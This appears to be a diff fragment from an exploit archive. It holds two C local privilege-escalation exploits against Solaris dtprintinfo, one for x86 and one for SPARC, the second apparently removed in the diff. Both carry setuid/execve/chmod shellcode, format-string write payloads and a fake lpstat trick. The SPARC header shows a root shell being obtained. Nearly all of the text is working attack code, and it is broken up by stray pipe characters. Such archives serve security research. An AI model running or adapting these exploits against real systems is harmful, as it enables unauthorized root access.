#define RET 0x08067f52 // call *-0x8(%ebp) address
|
|
||||||
|
|
||||||
/* split an address in 4 bytes */
|
|
||||||
#define SPLITB(b1, b2, b3, b4, addr) { \
|
|
||||||
b1 = (addr & 0x000000ff); \
|
|
||||||
b2 = (addr & 0x0000ff00) >> 8; \
|
|
||||||
b3 = (addr & 0x00ff0000) >> 16; \
|
|
||||||
b4 = (addr & 0xff000000) >> 24; \
|
|
||||||
}
|
|
||||||
|
|
||||||
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
|
|
||||||
/* double setuid() */
|
|
||||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
|
||||||
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
|
|
||||||
/* execve() */
|
|
||||||
"\x31\xc0\x50\x68/ksh\x68/bin"
|
|
||||||
"\x89\xe3\x50\x53\x89\xe2\x50"
|
|
||||||
"\x52\x53\xb0\x3b\x50\xcd\x91";
|
|
||||||
|
|
||||||
/* globals */
|
|
||||||
char *arg[2] = {"foo", NULL};
|
|
||||||
char *env[256];
|
|
||||||
int env_pos = 0, env_len = 0;
|
|
||||||
|
|
||||||
/* prototypes */
|
|
||||||
int add_env(char *string);
|
|
||||||
|
|
||||||
/*
|
|
||||||
* main()
|
|
||||||
*/
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
char buf[BUFSIZE], *p = buf;
|
|
||||||
char platform[256], release[256], display[256];
|
|
||||||
|
|
||||||
int i, stackpops = STACKPOPS;
|
|
||||||
unsigned base, n1, n2, n3, n4, n5, n6, n7, n8;
|
|
||||||
unsigned char strdup1, strdup2, strdup3, strdup4;
|
|
||||||
unsigned char ret1, ret2, ret3, ret4;
|
|
||||||
|
|
||||||
int strlen_got = STRLEN;
|
|
||||||
int sprintf_got = SPRINTF;
|
|
||||||
int strdup_plt = STRDUP;
|
|
||||||
int ret = RET;
|
|
||||||
|
|
||||||
/* lpstat code to add a fake printer */
|
|
||||||
if (!strcmp(argv[0], "lpstat")) {
|
|
||||||
|
|
||||||
/* check command line */
|
|
||||||
if (argc != 2)
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
/* print the expected output and exit */
|
|
||||||
if(!strcmp(argv[1], "-v")) {
|
|
||||||
fprintf(stderr, "lpstat called with -v\n");
|
|
||||||
printf("device for fnord: /dev/null\n");
|
|
||||||
} else {
|
|
||||||
fprintf(stderr, "lpstat called with -d\n");
|
|
||||||
printf("system default destination: fnord\n");
|
|
||||||
}
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* print exploit information */
|
|
||||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
|
||||||
|
|
||||||
/* process command line */
|
|
||||||
if (argc != 2) {
|
|
||||||
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
|
||||||
|
|
||||||
/* evil env var: name + shellcode + padding */
|
|
||||||
bzero(buf, BUFSIZE);
|
|
||||||
sprintf(buf, "REQ_DIR=%s#", sc);
|
|
||||||
p += strlen(buf);
|
|
||||||
|
|
||||||
/* format string: .got strlen address */
|
|
||||||
*((void **)p) = (void *)(strlen_got); p += 4;
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(strlen_got + 1); p += 4;
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(strlen_got + 2); p += 4;
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(strlen_got + 3); p += 4;
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
|
|
||||||
/* format string: .got sprintf address */
|
|
||||||
*((void **)p) = (void *)(sprintf_got); p += 4;
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(sprintf_got + 1); p += 4;
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(sprintf_got + 2); p += 4;
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(sprintf_got + 3); p += 4;
|
|
||||||
|
|
||||||
/* format string: stackpop sequence */
|
|
||||||
base = strlen(buf) - strlen("REQ_DIR=");
|
|
||||||
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
|
|
||||||
strcat(p, STACKPOPSEQ);
|
|
||||||
|
|
||||||
/* calculate numeric arguments for .plt strdup address */
|
|
||||||
SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt);
|
|
||||||
n1 = (strdup1 - base) % 0x100;
|
|
||||||
n2 = (strdup2 - base - n1) % 0x100;
|
|
||||||
n3 = (strdup3 - base - n1 - n2) % 0x100;
|
|
||||||
n4 = (strdup4 - base - n1 - n2 - n3) % 0x100;
|
|
||||||
|
|
||||||
/* calculate numeric arguments for call *-0x8(%ebp) address */
|
|
||||||
SPLITB(ret1, ret2, ret3, ret4, ret);
|
|
||||||
n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100;
|
|
||||||
n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100;
|
|
||||||
n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100;
|
|
||||||
n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100;
|
|
||||||
|
|
||||||
/* check for potentially dangerous numeric arguments below 10 */
|
|
||||||
n1 += (n1 < 10) ? (0x100) : (0);
|
|
||||||
n2 += (n2 < 10) ? (0x100) : (0);
|
|
||||||
n3 += (n3 < 10) ? (0x100) : (0);
|
|
||||||
n4 += (n4 < 10) ? (0x100) : (0);
|
|
||||||
n5 += (n5 < 10) ? (0x100) : (0);
|
|
||||||
n6 += (n6 < 10) ? (0x100) : (0);
|
|
||||||
n7 += (n7 < 10) ? (0x100) : (0);
|
|
||||||
n8 += (n8 < 10) ? (0x100) : (0);
|
|
||||||
|
|
||||||
/* format string: write string */
|
|
||||||
sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8);
|
|
||||||
|
|
||||||
/* fill the envp, keeping padding */
|
|
||||||
add_env(buf);
|
|
||||||
add_env(display);
|
|
||||||
add_env("TMP_DIR=/tmp");
|
|
||||||
add_env("PATH=.:/usr/bin");
|
|
||||||
add_env("HOME=/tmp");
|
|
||||||
add_env(NULL);
|
|
||||||
|
|
||||||
/* we need at least one directory inside TMP_DIR to trigger the bug */
|
|
||||||
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
|
|
||||||
|
|
||||||
/* create a symlink for the fake lpstat */
|
|
||||||
unlink("lpstat");
|
|
||||||
symlink(argv[0], "lpstat");
|
|
||||||
|
|
||||||
/* print some output */
|
|
||||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
|
||||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
|
||||||
fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release);
|
|
||||||
fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got);
|
|
||||||
fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got);
|
|
||||||
fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt);
|
|
||||||
fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret);
|
|
||||||
|
|
||||||
/* run the vulnerable program */
|
|
||||||
execve(VULN, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* add_env(): add a variable to envp and pad if needed
|
|
||||||
*/
|
|
||||||
int add_env(char *string)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
|
|
||||||
/* null termination */
|
|
||||||
if (!string) {
|
|
||||||
env[env_pos] = NULL;
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* add the variable to envp */
|
|
||||||
env[env_pos] = string;
|
|
||||||
env_len += strlen(string) + 1;
|
|
||||||
env_pos++;
|
|
||||||
|
|
||||||
/* pad the envp using zeroes */
|
|
||||||
if ((strlen(string) + 1) % 4)
|
|
||||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
|
||||||
env[env_pos] = string + strlen(string);
|
|
||||||
env_len++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
@ -1,549 +0,0 @@
|
||||||
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation
|
|
||||||
# Date: 2021-02-01
|
|
||||||
# Exploit Author: Marco Ivaldi
|
|
||||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
|
||||||
# Version: Solaris 10
|
|
||||||
# Tested on: Solaris 10 1/13 SPARC
|
|
||||||
|
|
||||||
/*
|
|
||||||
* raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC
|
|
||||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
|
||||||
*
|
|
||||||
* "Mimimimimimimi
|
|
||||||
* Mimimi only mimi
|
|
||||||
* Mimimimimimimi
|
|
||||||
* Mimimi sexy mi"
|
|
||||||
* -- Serebro
|
|
||||||
*
|
|
||||||
* As usual, exploitation on SPARC turned out to be much more complicated (and
|
|
||||||
* fun) than on Intel. Since the vulnerable program needs to survive one
|
|
||||||
* additional function before we can hijack %pc, the classic stack-based buffer
|
|
||||||
* overflow approach didn't seem feasible in this case. Therefore, I opted for
|
|
||||||
* the format string bug. This is just a proof of concept, 'cause guess what --
|
|
||||||
* on my system it works only when gdb or truss are attached to the target
|
|
||||||
* process:( To borrow Neel Mehta's words:
|
|
||||||
*
|
|
||||||
* "It's quite common to find an exploit that only works with GDB attached to
|
|
||||||
* the process, simply because without the debugger, break register windows
|
|
||||||
* aren't flushed to the stack and the overwrite has no effect."
|
|
||||||
* -- The Shellcoder's Handbook
|
|
||||||
*
|
|
||||||
* On different hardware configurations this exploit might work if the correct
|
|
||||||
* retloc and offset are provided. It might also be possible to force a context
|
|
||||||
* switch at the right time that results in registers being flushed to the
|
|
||||||
* stack at the right moment. However, this method tends to be unreliable even
|
|
||||||
* when the attack is repeatable like in this case. A better way to solve the
|
|
||||||
* puzzle would be to overwrite something different, e.g.:
|
|
||||||
*
|
|
||||||
* - Activation records of other functions, such as check_dir() (same issues)
|
|
||||||
* - Callback to function SortJobs() (nope, address is hardcoded in .text)
|
|
||||||
* - PLT in the binary (I need a different technique to handle null bytes)
|
|
||||||
* - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!)
|
|
||||||
* - Other OS function pointers I'm not aware of still present in Solaris 10
|
|
||||||
*
|
|
||||||
* Finally, it might be possible to combine the stack-based buffer overflow and
|
|
||||||
* the format string bug to surgically fix addresses and survive until needed
|
|
||||||
* for program flow hijacking to be possible. Bottom line: there's still some
|
|
||||||
* work to do to obtain a reliable exploit, but I think it's feasible. You're
|
|
||||||
* welcome to try yourself if you feel up to the task and have a spare SPARC
|
|
||||||
* box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
|
|
||||||
*
|
|
||||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
|
||||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
|
||||||
* confirm this because I have no access to their patches:/
|
|
||||||
*
|
|
||||||
* See also:
|
|
||||||
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
|
|
||||||
* raptor_dtprintcheckdir_intel2.c
|
|
||||||
* raptor_dtprintcheckdir_sparc2.c (the real deal)
|
|
||||||
*
|
|
||||||
* Usage:
|
|
||||||
* $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
|
|
||||||
* [on your xserver: disable the access control]
|
|
||||||
* $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
|
|
||||||
* [on your xserver: double click on the fake "fnord" printer]
|
|
||||||
* ...
|
|
||||||
* -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
|
|
||||||
* -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
|
|
||||||
* <- libc:getenv() = 0xffbff364
|
|
||||||
* -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
|
|
||||||
* <- libc:getenv() = 0xffbff364
|
|
||||||
* -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
|
|
||||||
* ...
|
|
||||||
* setuid(0) = 0
|
|
||||||
* chmod("/bin/ksh", 037777777777) = 0
|
|
||||||
* _exit(0)
|
|
||||||
* $ ksh
|
|
||||||
* # id
|
|
||||||
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
|
|
||||||
* #
|
|
||||||
*
|
|
||||||
* Tested on:
|
|
||||||
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
|
|
||||||
* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <link.h>
|
|
||||||
#include <procfs.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <strings.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <sys/systeminfo.h>
|
|
||||||
|
|
||||||
#define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC"
|
|
||||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
|
||||||
|
|
||||||
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
|
|
||||||
#define BUFSIZE 3000 // size of evil env var
|
|
||||||
#define BUFSIZE2 10000 // size of padding buf
|
|
||||||
#define STACKPOPSEQ "%.8x" // stackpop sequence
|
|
||||||
#define STACKPOPS 383 // number of stackpops
|
|
||||||
|
|
||||||
/* default retloc and offset for sprintf() */
|
|
||||||
#define RETLOC 0xffbfbb3c // saved ret location
|
|
||||||
#define OFFSET 84 // offset from retloc to i0loc
|
|
||||||
|
|
||||||
/* default retloc and offset for check_dir() */
|
|
||||||
/* TODO: patch %i6 that gets corrupted by overflow */
|
|
||||||
//#define RETLOC 0xffbfbbac // default saved ret location
|
|
||||||
//#define OFFSET 1884 // default offset from retloc to i0loc
|
|
||||||
|
|
||||||
/* split an address in 4 bytes */
|
|
||||||
#define SPLITB(B1, B2, B3, B4, ADDR) { \
|
|
||||||
B4 = (ADDR & 0x000000ff); \
|
|
||||||
B3 = (ADDR & 0x0000ff00) >> 8; \
|
|
||||||
B2 = (ADDR & 0x00ff0000) >> 16; \
|
|
||||||
B1 = (ADDR & 0xff000000) >> 24; \
|
|
||||||
}
|
|
||||||
|
|
||||||
/* calculate numeric arguments for write string */
|
|
||||||
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
|
|
||||||
N1 = (B4 - BASE) % 0x100; \
|
|
||||||
N2 = (B2 - BASE - N1) % 0x100; \
|
|
||||||
N3 = (B1 - BASE - N1 - N2) % 0x100; \
|
|
||||||
N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
|
|
||||||
BASE += N1 + N2 + N3 + N4; \
|
|
||||||
}
|
|
||||||
|
|
||||||
//#define USE_EXEC_SC // uncomment to use exec shellcode
|
|
||||||
|
|
||||||
#ifdef USE_EXEC_SC
|
|
||||||
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
|
|
||||||
/* setuid(0) */
|
|
||||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
|
||||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
/* execve("/bin/ksh", argv, NULL) */
|
|
||||||
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
|
|
||||||
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
|
|
||||||
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
|
|
||||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
|
||||||
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
|
|
||||||
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
|
|
||||||
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
|
|
||||||
"\x41\x41\x41\x41" /* placeholder */
|
|
||||||
"/bin/ksh";
|
|
||||||
#else
|
|
||||||
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
|
|
||||||
/* setuid(0) */
|
|
||||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
|
||||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
/* chmod("/bin/ksh", 037777777777) */
|
|
||||||
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
|
|
||||||
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
|
|
||||||
"\x20\xbf\xff\xff" /* bn,a <sc> */
|
|
||||||
"\x7f\xff\xff\xff" /* call <sc + 4> */
|
|
||||||
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
|
|
||||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
|
||||||
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
/* exit(0) */
|
|
||||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
|
||||||
"\x82\x10\x20\x01" /* mov 1, %g1 */
|
|
||||||
"\x91\xd0\x20\x08" /* ta 8 */
|
|
||||||
"/bin/ksh";
|
|
||||||
#endif /* USE_EXEC_SC */
|
|
||||||
|
|
||||||
/* globals */
|
|
||||||
char *arg[2] = {"foo", NULL};
|
|
||||||
char *env[256];
|
|
||||||
int env_pos = 0, env_len = 0;
|
|
||||||
|
|
||||||
/* prototypes */
|
|
||||||
int add_env(char *string);
|
|
||||||
void check_zero(int addr, char *pattern);
|
|
||||||
int get_env_addr(char *path, char **argv);
|
|
||||||
int search_ldso(char *sym);
|
|
||||||
int search_rwx_mem(void);
|
|
||||||
void set_val(char *buf, int pos, int val);
|
|
||||||
|
|
||||||
/*
|
|
||||||
* main()
|
|
||||||
*/
|
|
||||||
int main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
|
|
||||||
char platform[256], release[256], display[256];
|
|
||||||
int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc;
|
|
||||||
int offset = OFFSET;
|
|
||||||
|
|
||||||
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
|
|
||||||
int ret = search_ldso("sprintf");
|
|
||||||
int rwx_mem = search_rwx_mem() + 24; /* stable address */
|
|
||||||
|
|
||||||
int i, stackpops = STACKPOPS;
|
|
||||||
unsigned char b1, b2, b3, b4;
|
|
||||||
unsigned base, n[16]; /* must be unsigned */
|
|
||||||
|
|
||||||
/* lpstat code to add a fake printer */
|
|
||||||
if (!strcmp(argv[0], "lpstat")) {
|
|
||||||
|
|
||||||
/* check command line */
|
|
||||||
if (argc != 2)
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
/* print the expected output and exit */
|
|
||||||
if(!strcmp(argv[1], "-v")) {
|
|
||||||
fprintf(stderr, "lpstat called with -v\n");
|
|
||||||
printf("device for fnord: /dev/null\n");
|
|
||||||
} else {
|
|
||||||
fprintf(stderr, "lpstat called with -d\n");
|
|
||||||
printf("system default destination: fnord\n");
|
|
||||||
}
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* helper program that prints argv[0] address, used by get_env_addr() */
|
|
||||||
if (!strcmp(argv[0], "foo")) {
|
|
||||||
printf("0x%p\n", argv[0]);
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* print exploit information */
|
|
||||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
|
||||||
|
|
||||||
/* process command line */
|
|
||||||
if ((argc < 2) || (argc > 4)) {
|
|
||||||
#ifdef USE_EXEC_SC
|
|
||||||
fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]);
|
|
||||||
#else
|
|
||||||
fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]);
|
|
||||||
#endif /* USE_EXEC_SC */
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
|
||||||
if (argc > 2)
|
|
||||||
retloc = (int)strtoul(argv[2], (char **)NULL, 0);
|
|
||||||
if (argc > 3)
|
|
||||||
offset = (int)strtoul(argv[3], (char **)NULL, 0);
|
|
||||||
|
|
||||||
/* calculate saved %i0 and %i7 locations based on retloc */
|
|
||||||
i0loc = retloc + offset;
|
|
||||||
i1loc = i0loc + 4;
|
|
||||||
i7loc = i0loc + 28;
|
|
||||||
|
|
||||||
/* evil env var: name + shellcode + padding */
|
|
||||||
memset(buf, 'A', sizeof(buf));
|
|
||||||
buf[sizeof(buf) - 1] = 0x0;
|
|
||||||
memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
|
|
||||||
p += strlen("REQ_DIR=");
|
|
||||||
|
|
||||||
/* padding buffer to avoid stack overflow */
|
|
||||||
memset(buf2, 'B', sizeof(buf2));
|
|
||||||
buf2[sizeof(buf2) - 1] = 0x0;
|
|
||||||
|
|
||||||
/* fill the envp, keeping padding */
|
|
||||||
add_env(buf2);
|
|
||||||
add_env(buf);
|
|
||||||
add_env(display);
|
|
||||||
add_env("TMP_DIR=/tmp");
|
|
||||||
add_env("PATH=.:/usr/bin");
|
|
||||||
sc_addr = add_env("HOME=/tmp");
|
|
||||||
add_env(sc);
|
|
||||||
add_env(NULL);
|
|
||||||
|
|
||||||
/* calculate the needed addresses */
|
|
||||||
env_addr = get_env_addr(VULN, argv);
|
|
||||||
sc_addr += env_addr;
|
|
||||||
|
|
||||||
#ifdef USE_EXEC_SC
|
|
||||||
/* populate exec shellcode placeholder */
|
|
||||||
set_val(sc, 48, sb - 1024);
|
|
||||||
#endif /* USE_EXEC_SC */
|
|
||||||
|
|
||||||
/* format string: saved ret */
|
|
||||||
*((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
|
|
||||||
/* format string: saved %i0: 1st arg to sprintf() */
|
|
||||||
*((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
|
|
||||||
/* format string: saved %i7: return address */
|
|
||||||
*((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
|
|
||||||
/* format string: saved %i1: 2nd arg to sprintf() */
|
|
||||||
*((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */
|
|
||||||
memset(p, 'A', 4); p += 4; /* dummy */
|
|
||||||
*((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */
|
|
||||||
|
|
||||||
/* format string: stackpop sequence */
|
|
||||||
base = p - buf - strlen("REQ_DIR=");
|
|
||||||
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
|
|
||||||
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
|
|
||||||
|
|
||||||
/* calculate numeric arguments for retloc */
|
|
||||||
SPLITB(b1, b2, b3, b4, (ret - 4));
|
|
||||||
CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base);
|
|
||||||
|
|
||||||
/* calculate numeric arguments for i0loc */
|
|
||||||
SPLITB(b1, b2, b3, b4, rwx_mem);
|
|
||||||
CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base);
|
|
||||||
|
|
||||||
/* calculate numeric arguments for i7loc */
|
|
||||||
SPLITB(b1, b2, b3, b4, (rwx_mem - 8));
|
|
||||||
CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base);
|
|
||||||
|
|
||||||
/* calculate numeric arguments for i1loc */
|
|
||||||
SPLITB(b1, b2, b3, b4, sc_addr);
|
|
||||||
CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base);
|
|
||||||
|
|
||||||
/* check for potentially dangerous numeric arguments below 10 */
|
|
||||||
for (i = 0; i < 16; i++)
|
|
||||||
n[i] += (n[i] < 10) ? (0x100) : (0);
|
|
||||||
|
|
||||||
/* format string: write string */
|
|
||||||
sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]);
|
|
||||||
buf[strlen(buf)] = 'A'; /* preserve buf length */
|
|
||||||
|
|
||||||
/* we need at least one directory inside TMP_DIR to trigger the bug */
|
|
||||||
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
|
|
||||||
|
|
||||||
/* create a symlink for the fake lpstat */
|
|
||||||
unlink("lpstat");
|
|
||||||
symlink(argv[0], "lpstat");
|
|
||||||
|
|
||||||
/* print some output */
|
|
||||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
|
||||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
|
||||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
|
||||||
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
|
|
||||||
fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc);
|
|
||||||
fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc);
|
|
||||||
fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc);
|
|
||||||
fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc);
|
|
||||||
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
|
|
||||||
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
|
|
||||||
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
|
|
||||||
|
|
||||||
/* check for null bytes (add some padding to env if needed) */
|
|
||||||
check_zero(retloc, "ret location");
|
|
||||||
check_zero(i0loc, "%%i0 location");
|
|
||||||
check_zero(i1loc, "%%i1 location");
|
|
||||||
check_zero(i7loc, "%%i7 location");
|
|
||||||
check_zero(rwx_mem, "rwx_mem address");
|
|
||||||
check_zero(sc_addr, "sc address");
|
|
||||||
|
|
||||||
/* run the vulnerable program */
|
|
||||||
execve(VULN, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* add_env(): add a variable to envp and pad if needed
|
|
||||||
*/
|
|
||||||
int add_env(char *string)
|
